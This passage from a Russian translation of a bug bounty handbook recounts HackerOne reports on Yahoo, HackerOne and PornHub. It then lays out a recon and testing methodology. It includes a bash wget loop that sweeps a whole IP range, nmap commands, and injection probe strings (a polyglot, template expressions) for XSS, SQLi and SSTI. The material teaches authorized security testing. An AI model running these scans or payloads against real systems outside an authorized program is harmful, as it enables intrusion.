сканирование и автоматизация в поиске уязвимостей в конфигурации приложений. Патрик Ференбах из HackerOne нашел сервер, принадлежавший
компании Yahoo! и возвращавший вывод функции phpinfo . Эта функция
возвращает информацию о текущем состоянии PHP, в том числе параметры
компиляции, расширения, номер версии, сведения о сервере и системном окружении, HTTP-за­головки и т. д. Поскольку каждая система сконфигурирована
по-своему, phpinfo часто применяется для проверки настроек и определенных
переменных, доступных на заданном сервере. Такого рода информация не
должна быть публично доступной в промышленных системах, так как с ее помощью злоумышленник может многое узнать об атакуемой инфраструктуре.
И хотя Ференбах об этом не упомянул, стоит отметить, что вывод phpinfo
включает в себя содержимое куки типа httponly. Если домен имеет уязвимость
XSS и URL-адрес, дающий доступ к выводу phpinfo, злоумышленник может
использовать эту уязвимость для выполнения HTTP-запроса по этому адресу.
Так как информация, возвращаемая функцией phpinfo, раскрыта, злоумышленник может похитить куки типа httponly. Этот эксплойт является возможным
благодаря тому, что вредоносный код на JavaScript может прочитать тело
HTTP-ответа со значениями этих куки, хотя прямой доступ к ним отсутствует.
Чтобы обнаружить эту уязвимость, Ференбах послал ICMP-пакет домену
yahoo.com, получив в ответ 98.138.253.109. Этот IP-адрес он передал утилите
командной строки whois, которая вернула запись:
NetRange: 98.136.0.0 - 98.139.255.255
CIDR: 98.136.0.0/14
OriginAS:
NetName: A-YAHOO-US9
NetHandle: NET-98-136-0-0-1
Parent: NET-98-0-0-0-0
NetType: Direct Allocation
RegDate: 2007-12-07
Updated: 2012-03-02
Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1

222   Глава 18. Уязвимости в логике и конфигурации приложений

Первая строка подтвердила, что компания Yahoo! владеет большим блоком
IP-адресов в диапазоне от 98.136.0.0 до 98.139.255.255 (или 98.136.0.0/14) —
это 260 000 уникальных записей. Столько потенциальных целей для атаки!
Используя простой bash-скрипт, приведенный ниже, Ференбах попробовал
найти на серверах с этими IP-адресами страницу phpinfo:
#!/bin/bash
 for ipa in 98.13{6..9}.{0..255}.{0..255}; do
 wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &

Код в строке  входит в цикл for, который перебирает возможные номера
в каждом из диапазонов, указанных в фигурных скобках. Сначала проверяется
98.136.0.0, затем 98.136.0.1, затем 98.136.0.2 и т. д. вплоть до 98.139.255.255.
Каждый IP-адрес сохраняется в переменной ipa. Код в строке  использует
утилиту командной строки wget, чтобы сделать GET-запрос к проверяемому
IP-адресу. Для этого в цикле for вместо ${ipa} подставляется текущее значение переменной. Флаг -t определяет, сколько раз нужно повторить GET-запрос
в случае неудачи (в данном примере это 1). Флаг -T определяет максимальное
время ожидания запроса (в секундах). В результате выполнения этого скрипта Ференбах нашел сайт http://nc10.n9323.mail.ne1.yahoo.com, на котором была
включена функция phpinfo.

Выводы
В область интересов хакера должна входить вся инфраструктура компании
(если только это не противоречит условиям программы). Старайтесь автоматизировать процесс исследования. Для этого часто приходится писать скрипты
или использовать дополнительные инструменты. 260 000 потенциальных
IP-адресов было бы невозможно проверить вручную.

Голосование на странице HackerOne Hacktivity
Сложность: средняя
URL: https://hackerone.com/hacktivity/
Источник: hackerone.com/reports/137503/

Голосование на странице HackerOne Hacktivity  223

Дата подачи отчета: 10 мая 2016 года
Выплаченное вознаграждение: почет
Формально этот отчет не раскрыл никаких уязвимостей в безопасности, но он
является отличным примером того, как с помощью файлов JavaScript можно
находить дополнительные возможности для проверки. Так была найдена уязвимость в функции HackerOne, позволившей хакерам голосовать за отчеты,
которая еще не была включена в пользовательском интерфейсе и не должна
была быть доступной для использования.
Для отрисовки сайта HackerOne применяется фреймворк React, поэтому значительная часть его функциональности написана на JavaScript. Один из способов
использования React состоит в отображении элементов пользовательского
интерфейса в зависимости от ответов сервера. Например, сайт предоставляет
администратору кнопку удаления. При этом сервер может не проверять, был
ли HTTP-запрос, сделанный с помощью функции, инициирован настоящим
администратором. Хакер apok хотел узнать, можно ли использовать скрытые
элементы интерфейса для выполнения HTTP-запросов. В HTTP-запрос
к сайту HackerOne (вероятно, с помощью прокси наподобие Burp) он поменял
все значения с false на true. Это позволило ему обнаружить в списке отчетов
новые кнопки, при нажатии которых отправлялся POST-запрос.
Для выявления скрытых возможностей пользовательского интерфейса можно
также поискать слово POST в файлах JavaScript, чтобы узнать, какие HTTPза­просы использует сайт. В этом могут помочь инструменты разработчика,
интегрированные в браузер, или прокси вроде Burp.
Чтобы обнаружить новые возможности, не исследуя при этом все приложение
целиком, можно поискать URL-адреса. В данном случае в файле JavaScript
содержался следующий код:
vote: function() {
var e = this;
a.ajax({
 url: this.url() + "/votes",
method: "POST",
datatype: "json",
success: function(t) {
return e.set({
vote_id: t.vote_id,

224   Глава 18. Уязвимости в логике и конфигурации приложений

vote_count: t.vote_count
})
}
})
},
unvote: function() {
var e = this;
a.ajax({
 url: this.url() + "/votes" + this.get("vote_id"),
method: "DELETE":,
datatype: "json",
success: function(t) {
return e.set({
vote_id: t.void 0,
vote_count: t.vote_count
})
}
})
}

В строках  и  было предусмотрено два URL-адреса для голосования. На
момент подачи отчета к этим конечным точкам можно было отправлять POSTзапросы. Это позволяло участвовать в голосовании, хотя соответствующая
возможность находилась на стадии разработки и не была доступна.

Выводы
Если на сайте используются скрипты, особенно когда речь идет о таких
фреймворках, как React, Angular и т. д., файлы JavaScript могут стать отличной областью для исследования возможностей приложения. Они помогут
вам сэкономить время и даже обнаружить скрытые конечные точки. Для
отслеживания скриптов можно воспользоваться такими инструментами, как
https://github.com/nahamsec/JSParser.

Доступ к Memcache на сайте PornHub
Сложность: средняя
URL: stage.pornhub.com

Доступ к Memcache на сайте PornHub  225

Источник: blog.zsec.uk/pwning-pornhub/
Дата подачи отчета: 1 марта 2016 года
Выплаченное вознаграждение: 2500 долларов
Энди Гилл работал над программой Bug Bounty от PornHub, которая охватывала домены *.pornhub.com. Это означало, что вознаграждение причиталось за
нахождение уязвимостей в любом поддомене сайта. Используя собственный
список распространенных доменных имен, Гилл обнаружил 90 поддоменов,
принадлежавших PornHub.
Гилл автоматизировал процесс их анализа с помощью EyeWitness, делающего
снимки экрана с веб-сайтами и дающего информацию об открытых портах 80,
443, 8080 и 8443 (которые обычно используются для HTTP и HTTPS). Работа
с сетью и портами выходит за рамки этой книги; отмечу лишь, что через открытый порт сервер может отправлять и принимать интернет-трафик.
Результаты оказались не очень информативными, поэтому Гилл сосредоточился на сайте stage.pornhub.com, так как серверы для разработки и финального
тестирования часто оказываются плохо сконфигурированными. Для начала
он использовал утилиту командной строки nslookup, чтобы получить IP-адрес
сайта. Она вывела такую запись:





Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com
Address: 31.192.117.70

В строке  находилось примечательное значение, которое представляло собой
IP-адрес stage.pornhub.com. Получив его, Гилл использовал инструмент Nmap,
чтобы просканировать сервер на предмет открытых портов. Для этого он выполнил команду nmap -sV -p- 31.192.117.70 -oA stage__ph -T4.
Первый флаг в этой команде (-sV) включает распознавание версий. Когда
утилита Nmap находит открытый порт, она пытается определить, какое программное обеспечение на нем работает. Флаг –p- говорит о том, что нужно
просканировать все 65 535 возможных портов (по умолчанию Nmap сканирует
только 1000 самых популярных из них). Дальше идет IP-адрес для сканирова-

226   Глава 18. Уязвимости в логике и конфигурации приложений

ния: в этом случае он принадлежит stage.pornhub.com (31.192.117.70). Флаг -oA
выводит результаты в трех основных форматах: обычном, XML и рассчитанном на поиск с помощью grep. В конце указано базовое имя файлов вывода,
stage__ph, и флаг -T4, который немного ускоряет работу Nmap (значение 1
является самым медленным вариантом, 5 — самым быстрым, а по умолчанию
используется 3). Чем медленней проходит сканирование, тем больше шансов
на то, что удастся обойти систему обнаружения вторжений. Быстрое сканирование из-за большей пропускной способности сети проигрывает в точности.
Запустив эту команду, Гилл получил следующий результат:









Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70
Host is up (0.017s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open http nginx
60893/tcp open memcache
Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Ключевым моментом здесь является открытый порт 60893, на котором, согласно Nmap, был запущен сервис кэширования memcache . Этот сервис
хранит произвольные данные в виде пар ключ — значение и используется
для повышения производительности веб-сайтов за счет ускоренного доступа
к контенту в кэше.
Само наличие этого порта не было уязвимостью, но в инструкциях по установке Memcache не рекомендуется делать этот сервер публично доступным.
Гилл попробовал к нему подключиться, используя утилиту командной строки
Netcat. Ему удалось это сделать без ввода пароля, что является уязвимостью
в конфигурации приложения. Чтобы подтвердить наличие доступа, хакер выполнил безобидные команды для вывода статистики и версии.
Степень риска, связанная с открытым доступом к серверу Memcache, зависит
от того, какую информацию он кэширует, и каким образом приложение использует полученные сведения.

Итоги  227

Выводы
Поддомены и более общая сетевая конфигурация представляют отличный
потенциал для взлома. Если программа Bug Bounty охватывает широкий (или
неограниченный) диапазон поддоменов, вы можете попытаться составить их
список и обнаружить поверхность атаки, которую до вас никто не исследовал.
Это особенно полезно при поиске уязвимостей в конфигурации приложений.
Познакомьтесь с инструментами EyeWitness и Nmap, которые помогут автоматизировать этот процесс.

Итоги
Для выявления уязвимостей в логике и конфигурации приложений необходимо по-разному взаимодействать с сайтом. Сайт Shopify не проверял права
доступа во время HTTP-запросов, а мобильное приложение Twitter пропускало
проверки безопасности. В обоих случаях потребовалось провести разностороннее исследование.
Расширяйте исследуемую область. Анализируйте новые возможности сайта
и исходный код скриптов в поиске уязвимостей, которые скрыты в пользовательском интерфейсе.
Хакинг может отнимать много времени, поэтому важно иметь навыки автоматизации работы. В примерах, представленных в этой главе, применялись такие
инструменты, как bash-скрипты, Nmap, EyeWitness и bucket_finder. Больше
инструментов представлено в Приложении А.

19

Самостоятельный поиск
уязвимостей

К сожалению, у хакинга нет волшебной формулы. Технологии постоянно развиваются, и их слишком много, поэтому я не могу объяснить каждый метод
поиска ошибок. Поэтому я собрал сведения о методологиях, которым следуют
успешные охотники за уязвимостями. Эта глава познакомит вас с базовым
подходом ко взлому любого приложения. Материал систематизирован благодаря беседе с успешными хакерами, чтению блогов, просмотру видеороликов
и, собственно, хакингу.
Когда вы только начинаете заниматься взломом приложений, свои успехи
лучше всего оценивать по тем знаниям и опыту, которые вы получаете, а не
по найденным вами уязвимостям или полученным вознаграждениям. Если
ваша цель — выявлять уязвимости в престижных программах Bug Bounty,
создавать как можно большее количество отчетов или просто зарабатывать
деньги, то начало пути покажется трудным. Известные программы от таких
компаний, как Uber, Shopify, Twitter и Google ежедневно проверяют опытные хакеры, поэтому там остается очень мало невыявленных проблем. Сосредоточьтесь на приобретении навыков, распознавании закономерностей
и исследовании технологий, и вы сможете сохраните оптимизм даже без
видимых результатов.

Предварительное исследование  229

Предварительное исследование
Присоединившись к любой программе Bug Bounty, проведите предварительное исследование приложения, чтобы лучше понимать, с чем имеете дело. Для
начала ответьте на простые вопросы:
‚‚ Каков охват этой программы? Что она в себя включает: *..com
или просто www..com?
‚‚ Сколько поддоменов принадлежит компании?
‚‚ Сколькими IP-адресами владеет компания?
‚‚ Это программное обеспечение или сервис? Доступен ли исходный код?
Предназначен ли он для совместной работы? Что на сайте является платным?
‚‚ Какие применены технологии? На каком языке программирования сайт
написан? Какую БД он использует? На каких фреймворках он основан?
Это лишь несколько вопросов, которыми вы должны задаться, приступая к хакингу. В этой главе мы опишем приложение с неограниченным охватом ввода
*..com. Выберите инструменты, которые могут работать в фоновом
режиме, чтобы заниматься другими исследованиями в ожидании результатов.
Но помните, если вы запустите их на своем компьютере, брандмауэр для вебприложений вроде Akamai может заблокировать ваш IP-адрес.
Чтобы этого избежать, создайте виртуальный выделенный сервер (virtual
private server, или VPS) на облачной платформе, которая разрешает использовать свои системы для проведения проверок безопасности. Обязательно
ознакомьтесь с правилами предоставления услуг вашего облачного провайдера,
так как некоторые компании запрещают такого рода деятельность (например, на момент написания этой главы для проведения проверок безопасности
в сервисе AWS требуется отдельное разрешение).

Составление списка поддоменов
Исследование можно начать с поиска поддоменов с помощью VPS. Чем
больше поддоменов вы найдете, тем большей будет поверхность вашей атаки.

230   Глава 19. Самостоятельный поиск уязвимостей

Используйте утилиту SubFinder: она написана на Go и имеет высокую производительность. SubFinder загрузит записи о поддоменах сайта с разных
источников, включая центры сертификации, поисковые системы, Internet
Archive Wayback Machine и пр.
Иногда такой подход позволяет найти не все поддомены, однако с обнаружением тех из них, у которых есть SSL-сертификаты, обычно не возникает проблем, так как журналы прозрачности сертификатов содержат все необходимые
записи. Например, если сайт регистрирует сертификат для test..com,
этот поддомен, скорее всего, существует, по крайней мере на момент регистрации. В то же время сайт может зарегистрировать сертификат для открытого
поддомена *..com. В таком случае вам, возможно, удастся подобрать
лишь некоторые доменные имена.
К счастью, SubFinder поддерживает подбор поддоменов на основе списка
распространенных слов. Этот список находится в репозитории GitHub под
названием SecLists (Приложение А). Еще один полезный список опубликовал Джейсон Хэддикс: gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056/.
Если вам нужно просто узнать, был ли зарегистрирован wildcard-сертификат,
и вы не хотите использовать SubFinder, можете зайти на сайт crt.sh. Если такой
сертификат обнаружится, его хеш можно найти на сайте censys.io. Обычно crt.sh
предоставляет прямую ссылку на censys.io для каждого сертификата.
Составив список поддоменов для *..com, можете просканировать
порты и сделать снимки экрана с найденными сайтами. Но прежде чем двигаться дальше, подумайте о том, стоит ли искать домены более низких уровней.
Например, если сайт зарегистрировал SSL-сертификат для *.corp..
com, в этом поддомене, скорее всего, есть другие поддомены.

Сканирование портов
Сканирование портов позволяет определить дополнительные поверхности для
атаки, включая активные сервисы. С помощью этого подхода Энди Гилл нашел
на сайте Pornhub уязвимый сервер Memcache и получил за это 2500 долларов
(глава 18).
Результаты сканирования портов могут также дать представление о защищенности сайта. Если на сайте закрыты все порты, кроме 80 и 443 (стандартные

Предварительное исследование  231

веб-порты для HTTP и HTTPS), это говорит о серьезном отношении к безо­
пасности. Множество открытых портов свидетельствует о потенциальных
уязвимостях.
Nmap и Masscan являются популярными инструментами для сканирования
портов. Nmap более старый и без оптимизации может демонстрировать низкую
производительность. Его преимущество состоит в том, что вы можете передать
ему список URL-адресов, и он сам определит, какие IP нужно сканировать.
К тому же Nmap имеет модульную структуру и позволяет во время сканирования выполнять другие проверки, среди которых поиск названий файлов
и директорий (скрипт http-enum). Инструмент Masscan отличается высокой
скоростью и лучше сканирует готовый список IP-адресов. Я применяю его для
поиска стандартных открытых портов (80, 443, 8080, 8443 и т. п.) и использую
полученные результаты для снимков экрана.
Обращайте внимание на IP-адреса, принадлежащие найденным поддоменам.
Если все они, за исключением одного, находятся в одном и том же диапазоне
IP-адресов (которым, к примеру, владеет AWS или Google Cloud Compute), этот
поддомен стоит исследовать подробней. Нетипичный IP-адрес может указывать на самописное или стороннее приложение, которое, возможно, защищено
хуже, чем основные продукты компании, находящиеся в общем диапазоне.
Франс Розен и Роян Риял воспользовались сторонними сервисами для захвата поддоменов, принадлежавших компаниям Legal Robot и Uber (глава 14).

Создание снимков экрана
Снимки веб-страниц визуализируют охват программы, демонстрируя новые
закономерности. Обращайте внимание на сообщения об ошибках от сервисов,
через которые уже происходил захват поддоменов. Приложение, использующее
сторонние сервисы, может со временем поменяться, а его DNS-записи могут
остаться прежними (главе 14). Захват такого сервиса злоумышленником будет
иметь серьезные последствия для приложения и его пользователей. Но даже
если сообщения об ошибках отсутствуют, снимки экрана могут раскрыть зависимость поддомена от стороннего сервиса.
Дальше можно поискать конфиденциальные данные. Например, если все
поддомены, кроме одного, найденные в зоне *.corp..com, возвращают
страницу 403 «Access Denied», а необычный поддомен содержит форму входа на

232   Глава 19. Самостоятельный поиск уязвимостей

подозрительный веб-сайт, это может стать причиной нестандартного поведения
сайта. Внимательно рассмотрите страницы, которые выводятся по умолчанию
сразу после установки приложения, формы для входа администраторов и т. д.
И наконец, обращайте внимание на приложения, которые выделяются на
фоне других поддоменов сайта. Например, если на всех поддоменах компании
используется Ruby on Rails, и только на одном PHP, сосредоточьтесь на этом
PHP-приложении, так как для разработчиков сайта этот язык, по всей видимости, не является основным. Важность приложения, найденного в одном из
поддоменов, сложно определить без предварительного исследования, но это
может быть хорошим шансом получить высокое вознаграждение. Жасмин
Лэндри использовал полученный им SSH-доступ для удаленного выполнения
кода (главе 12).
С созданием снимков экрана могут помочь несколько инструментов. Сейчас
я использую HTTPScreenShot и Gowitness. Утилита HTTPScreenShot имеет
два преимущества: во-первых, вы можете передать ей список IP-адресов, и она
создаст снимки экрана не только для них, но и для других поддоменов, связанных с соответствующими SSL-сертификатами. Во-вторых, она разбивает
результаты по категориям в зависимости от кодов состояния (например, 403
или 500), систем управления содержимым, которые в них используются,
и других факторов. Она также включает в свои результаты найденные HTTPза­головки, что тоже полезно.
Утилита Gowitness быстрая и легковесная. Я использую ее в случаях, когда
у меня есть список URL-адресов вместо IP. Она тоже предоставляет заголовки,
полученные при создании снимков экрана.
Aquatone тоже заслуживает упоминания, хотя я не использую этот инструмент.
Он недавно был переписан на Go и среди прочих возможностей поддерживает
кластеризацию и простой экспорт результатов в разные форматы, совместимые
с другими инструментами.

Обнаружение содержимого
Исследовав и визуализировав найденные поддомены, займитесь поиском интересного содержимого. К этому этапу можно подойти по-разному. Можно найти
файлы и директории, подбирая их имена. Успешность этого подхода зависит

Предварительное исследование  233

от списка слов, который вы используете (хорошие списки содержатся в репозитории SecLists, например raft-*). Или отследить результаты, полученные на
этом этапе, формируя собственные списки на основе часто находимых файлов.
Исследуйте составленный список с именами файлов и директорий. Лично я для
этого применяю Gobuster и Burp Suite Pro. Gobuster — это гибкая и быстрая
утилита для подбора имен, написанная на Go. Если указать ей домен и список
слов, она проверит существование соответствующих файлов и директорий
и подтвердит ответ сервера. Следует также упомянуть утилиту Meg, разработанную Томом Хадсоном, тоже написанную на Go, которая позволяет проверять разные пути сразу на нескольких сайтах. Она подходит для ситуаций,
когда вы нашли много поддоменов и хотите одновременно выполнить поиск
содержимого в каждом из них.
Пропуская трафик через пакет Burp Suite Pro, я использую либо встроенный в него инструмент для обнаружения содержимого, либо Burp Intruder.
Встроенный инструмент имеет гибкие настройки и позволяет работать как
с пользовательским, так и с собственным списком, искать файлы с определенными расширениями, определять глубину вложенности папок и т. д. Если же
выбрать второй вариант, запрос, направленный сайту, сначала попадает в Burp
Intruder, а передаваемые данные (то есть список) добавятся к корневому пути.
После этого начнется атака. Обычно я сортирую полученные результаты по
размеру или состоянию ответа, в зависимости от реакции приложения. Если
я нахожу интересную папку, то запускаю Intruder еще раз, чтобы поискать
содержащиеся в ней файлы.
Дополнительно можете воспользоваться поиском Google, как это сделал Бретт
Буэрхаус (глава 10). Поиск Google может сэкономить время, особенно если
найденные URL-адреса включают в себя параметры, которые часто оказываются уязвимыми, — например, url, redirect_to, id и т. д. Сайт Exploit DB
ведет базу поисковых запросов для разных ситуаций: https://www.exploit-db.com/
google-hacking-database.
На сайте GitHub вы можете найти открытый исходный код или полезную
информацию о технологиях, которые использованы на сайте. Именно так
Михель Принс обнаружил уязвимость с удаленным выполнением кода на
сайте Algolia (глава 12). Для проверки GitHub-репозиториев на предмет
секретных ключей приложений и других конфиденциальных данных можно
применить утилиту Gitrob. В дополнение к этому вы можете проанализировать

234   Глава 19. Самостоятельный поиск уязвимостей

репозитории с кодом приложения и сторонние библиотеки, от которых оно
зависит. Программа Bug Bounty может охватывать как заброшенный проект,
так и уязвимость во внешнем репозитории. Репозитории с кодом также могут
дать представление об исправлении предыдущих уязвимостей, что актуально
для таких компаний, как GitLab, которые открывают код своих приложений.

Ранее обнаруженные уязвимости
Ресурсами для анализа предыдущих уязвимостей могут послужить статьи
хакеров, раскрытые отчеты, база данных общеизвестных уязвимостей информационной безопасности (CVE), опубликованные эксплойты и т. д. Как
отмечается на протяжении всей книги, сам факт обновления кода вовсе не
означает, что все уязвимости были исправлены. Обязательно проверяйте любые изменения. Исправление подразумевает добавление нового кода, который
может содержать ошибки.
За обнаружение уязвимости на сайте Shopify Partners Таннер Эмек получил
15 250 долларов (глава 15). Он применил анализ отчета об ошибке, раскрытый
ранее.
Итак, мы рассмотрели все основные области предварительного исследования.
Теперь пришло время поговорить о проверке приложения. Но предварительное
исследование на этом не заканчивается. Оно является неотъемлемой частью процесса поиска уязвимостей. Приложения постоянно улучшаются, поэтому вы всегда можете посетить уже проверенные сайты и посмотреть, что в них поменялось.

Тестирование приложений
Методология и технические приемы тестирования зависят от типа приложения.
Я сделал общий обзор факторов, о которых нужно помнить, и мыслительных
процессов, стоящих за проверкой нового сайта. Но, независимо от того, что
именно вы тестируете, нет лучшего совета, чем тот, который дал Маттиас
Карлссон: «Не думайте, что все уже проверено и больше не на что смотреть.
Подходите к каждому случаю так, словно до вас им еще никто не занимался.
Ничего не нашли? Двигайтесь дальше».

Тестирование приложений  235

Стек технологий
Тестирование нового приложения лучше начинать с определения используемых им технологий. Обычно я анализирую историю запросов в своем
веб-прокси, обращая внимание на то, какие файлы были загружены, какие
домены при этом использовались, возвращались ли HTML-шаблоны или
JSON-документы и т. д. Для быстрой идентификации технологий хорошо
подходит расширение Wappalyzer для Firefox.
Параллельно я запускаю пакет Burp Suite с конфигурацией по умолчанию
и даю ему пройтись по сайту. Это позволяет понять, какими возможностями
сайт обладает и какие шаблоны проектирования применяли разработчики,
чтобы подобрать более подходящий вредоносный код, который можно использовать при тестировании. Именно так поступил Оранж Цай при обнаружении
уязвимости RCE в шаблонах Flask на сайте Uber (глава 12). Например, если
сайт написан на AngularJS, попробуйте внедрить код {{7*7}} и посмотрите,
выводится ли где-нибудь 49. Тестируя приложение, основанное на ASP.NET
с включенной защитой от XSS, вам лучше начать с проверки других видов
уязвимостей, а XXS оставить на потом.
Если сайт построен на основе Rails, его URL-адреса могут иметь вид /CONTENT_
TYPE/RECORD_ID, где RECORD_ID — целое число с автоинкрементом (URL-адреса
отчетов HackerOne выглядят как www.hackerone.com/reports/12345 ). Railsприложения обычно используют целочисленные идентификаторы, поэтому
тестирование можно начать с проверки небезопасных прямых ссылок на объекты, которые часто упускают из виду разработчики.
Если API-интерфейс возвращает JSON или XML, он потенциально может раскрывать чувствительные данные, которые не отображаются на веб-странице.
Вызовы к такому API-интерфейсу могут стать хорошей платформой для атаки
и привести к утечке информации.
Вот некоторые факторы, которые стоит учитывать на этом этапе:
‚‚ Форматы содержимого, которые сайт принимает или ожидает получить.
Например, XML-файлы бывают разными, и их разбор всегда потенциально чреват уязвимостями XXE. Обращайте внимание на сайты, которые
принимают .docx, .xlsx, .pptx или другие разновидности XML.

236   Глава 19. Самостоятельный поиск уязвимостей

‚‚ Сторонние инструменты или сервисы, в конфигурации которых легко допустить ошибку. Читая отчеты о том, как хакеры эксплуатируют подобные сервисы, пытайтесь понять, каким образом были обнаружены эти
уязвимости, и применяйте этот опыт в своем тестировании.
‚‚ Закодированные параметры и то, как они обрабатываются приложением.
Непоследовательное поведение может указывать на взаимодействие нескольких сервисов на одном сервере. Этим можно воспользоваться.
‚‚ Самописные механизмы аутентификации, такие как процедура OAuth.
Тонкие отличия в том, как приложение обрабатывает URL-адреса для
перенаправления и кодировки, и параметры состояния могут свидетельствовать об уязвимости.

Определение возможностей приложения
Определение возможностей приложения — это часть исследования, позволяющая выбрать один из нескольких путей: поиск признаков уязвимостей,
определение конкретной цели данного тестирования или изучение списка
потенциальных угроз.
Я обращаю внимание на поведение, связанное с уязвимостями. Например, позволяет ли сайт создавать веб-хуки с помощью URL-адресов (риск появления
SSRF)? Позволяет ли сайт притвориться другим пользователем (риск утечки
чувствительной информации)? Можно ли загружать файлы (риск удаленного
выполнения кода и появления XSS)? Заметив что-то интересное, я начинаю
тестировать приложение в поисках признака уязвимости. Им может быть
возвращение неожиданного сообщения, задержка ответа, отображение необработанного ввода или обход проверки на серверной стороне.
Если же я ставлю перед собой конкретную цель, то до начала тестирования
решаю, что ищу: подделку серверных запросов, включение локальных файлов,
удаленное выполнение кода или другую уязвимость. Джоберт Абма практикует
и проповедует этот подход, а Филиппе Хэйрвуд использовал его для захвата
приложения Facebook. Этот метод подразумевает, что вы должны игнорировать
другие возможности, сосредоточившись на выбранной цели. Останавливаться
и переходить к тестированию можно только в случае, если вы нашли что-то
относящееся к намеченному пути.

Тестирование приложений  237

Еще один подход к тестированию заключается в том, чтобы пройтись по
списку потенциальных угроз. Полные списки уязвимостей можно найти на
сайте OWASP и в книге Дафидда Статтарда Web Application Hacker’s Handbook.
Я не использую этот подход, поскольку он слишком монотонный и скорее
напоминает работу, чем приятное хобби. Тем не менее он не дает забыть, что
нужно протестировать и каким общим методологиям необходимо следовать
(например, вы должны просматривать файлы JavaScript).

Обнаружение уязвимостей
Разобравшись с принципом работы приложения, вы можете приступить к тестированию. Вместо того чтобы ставить перед собой конкретную цель или
использовать готовый список угроз, я советую начать с поиска поведения,
которое может быть признаком уязвимости. Большинство программ Bug Bounty запрещают применять автоматические сканеры, такие как Burp, так как
они генерируют много шума и не требуют никаких навыков и знаний. Поэтому
сосредоточьтесь на ручном тестировании.
Если во время определения возможностей сайта не нашлось ничего интересного,
я начинаю пользоваться им как обычный посетитель: создаю контент, учетные
записи, команды и пр. При этом везде, где принимается ввод, я стараюсь внедрить
вредоносные данные и смотрю, не приводит ли это к неожиданному поведению
сайта. Обычно я использую код полиглот 000'")};--//, который содержит
все спецсимволы, способные нарушить контекст обработки, будь то HTML,
JavaScript или серверный SQL-запрос. Тег безвреден, но его легко заметить
в уязвимом HTML-документе — он делает текст страницы зачеркнутым. Даже
когда сайт фильтрует введенные данные, этот тег оставляют без изменений.
Если созданное мною содержимое выводится на панели администрирования,
я использую специальный вредоносный код для слепых атак XSS от XSSHunter
(Приложение А). Наконец, если на сайте применяется шаблонизатор, я добавляю код, относящийся к его синтаксису. В случае с AngularJS я ввожу нечто
вроде {{8*8}}[[5*5]] и затем ищу на странице 64 или 25. И хотя мне еще не
удавалось выполнить внедрение в серверные шаблоны Rails, я по-прежнему
пробую ввод на случай, если мне попадется функция отрисовки
без предварительной обработки (inline render).
Отправка такого вредоносного кода позволяет выявить уязвимости с внедрением (XSS, SQLi, SSTI и т. д.), но она не требует критического мышления

238   Глава 19. Самостоятельный поиск уязвимостей

и может превратиться в рутинное занятие. Поэтому, чтобы не потерять интерес
и концентрацию, регулярно проверяйте историю запросов своего прокси-сервера в поиске необычной функциональности, в которой часто встречаются
ошибки. Ниже перечислены некоторые распространенные уязвимости и области приложения, на которые следует обращать внимание:
‚‚ CSRF. HTTP-запросы, которые изменяют данные, но могут не проверять
CSRF-токены или заголовки referrer и origin.
‚‚ IDOR. Возможность манипулировать идентификаторами в параметрах
URL-адресов.
‚‚ Логика приложения. Возможность дублировать запросы для двух разных
учетных записей.
‚‚ XEE. HTTP-запросы, принимающие XML.
‚‚ Утечка информации. Содержимое, конфиденциальность которого гарантируется или подразумевается.
‚‚ Open Redirect. Адреса с параметрами, относящимися к перенаправлению.
‚‚ CRLF, XSS и некоторые разновидности Open Redirect. Запросы, которые возвращают обратно параметры URL-адреса.
‚‚ SQLi. Ситуации, при которых добавление одинарной кавычки, скобки
или точки с запятой приводит к изменению ответа.
‚‚ RCE. Любой вид загрузки файлов или редактирования изображений.
‚‚ Состояние гонки. Отложенная обработка данных или поведение, зависящее от времени использования или проверки этих данных.
‚‚ SSRF. Возможность передавать URL-адреса, ссылающиеся на веб-хуки,
внешние сервисы и т. д.
‚‚ Неисправленные уязвимости в безопасности. Доступная информация
о сервере, которая может указывать на использование устаревших технологий. Например, версии PHP, Apache, Nginx и т. д.
Если вы погрузились в исследование возможностей приложения и хотите попробовать что-то помимо HTTP-запросов, можете перейти к подбору файлов
и директорий. Подумайте над тем, что именно вы подбираете, и стоит ли сосредоточиться на каких-то других участках. Например, обнаружив конечную
точку /api/, подоберите длянее новые пути, чтобы обнаружить скрытые, не-

Дальнейшие действия  239

задокументированные возможности. Если ваш HTTP-трафик проходит через
прокси Burp Suite, на посещенных вами страницах есть ссылки (серого цвета)
на дополнительные ресурсы, заслуживающие внимания.
Взлом веб-приложений не связан с магией. Охотнику за уязвимостями в равной
степени требуются знания, наблюдательность и настойчивость. Глубокий анализ приложений и тщательное тестирование за оптимальное время являются
ключом к успеху. Но для того чтобы это понять, к сожалению, необходим опыт.

Дальнейшие действия
Завершив предварительное исследование и тщательно проверив все возможности, которые вам удалось найти, вы обязательно должны попробовать другие
методики, чтобы сделать поиск уязвимостей более эффективным. У меня нет
для вас универсального рецепта, но кое-что посоветовать я все же могу.

Автоматизация работы
Автоматизация работы помогает сэкономить время. Большинство из описанных методов ручного тестирования непригодны для широкомасштабных
исследований. Роян Риял раскрыл уязвимость в Shopify всего через пять минут после того, как найденный им поддомен начал использоваться благодаря
автоматизации хакинга. Успешным охотником за уязвимостями можно стать
и без нее, однако она является одним из факторов увеличения вознаграждения.
Для начала можно автоматизировать предварительное исследование. Например, для таких задач, как подбор поддоменов, сканирование портов и создание
снимков экрана можно применять автоматические инструменты.

Анализ мобильных приложений
Мобильный хакинг открывает множество новых возможностей для поиска
дыр в безопасности. Мобильное приложение можно взломать двумя способами: проанализировать его исходный код или исследовать API-интерфейсы,
с которыми оно взаимодействует. Я предпочитаю второй вариант, так как он
подобен взлому веб-сайтов; при этом меня интересуют такие уязвимости, как

240   Глава 19. Самостоятельный поиск уязвимостей

IDOR, SQLi, RCE и т. д. Чтобы приступить к тестированию API-интерфейсов
мобильного приложения, нужно пропустить трафик телефона через прокси-сервер, такой как Burp. Это позволит просматривать и модифицировать
выполняемые HTTP-вызовы. Но иногда приложения применяют механизм
под названием SSL-pinning, который не дает им распознать или использовать
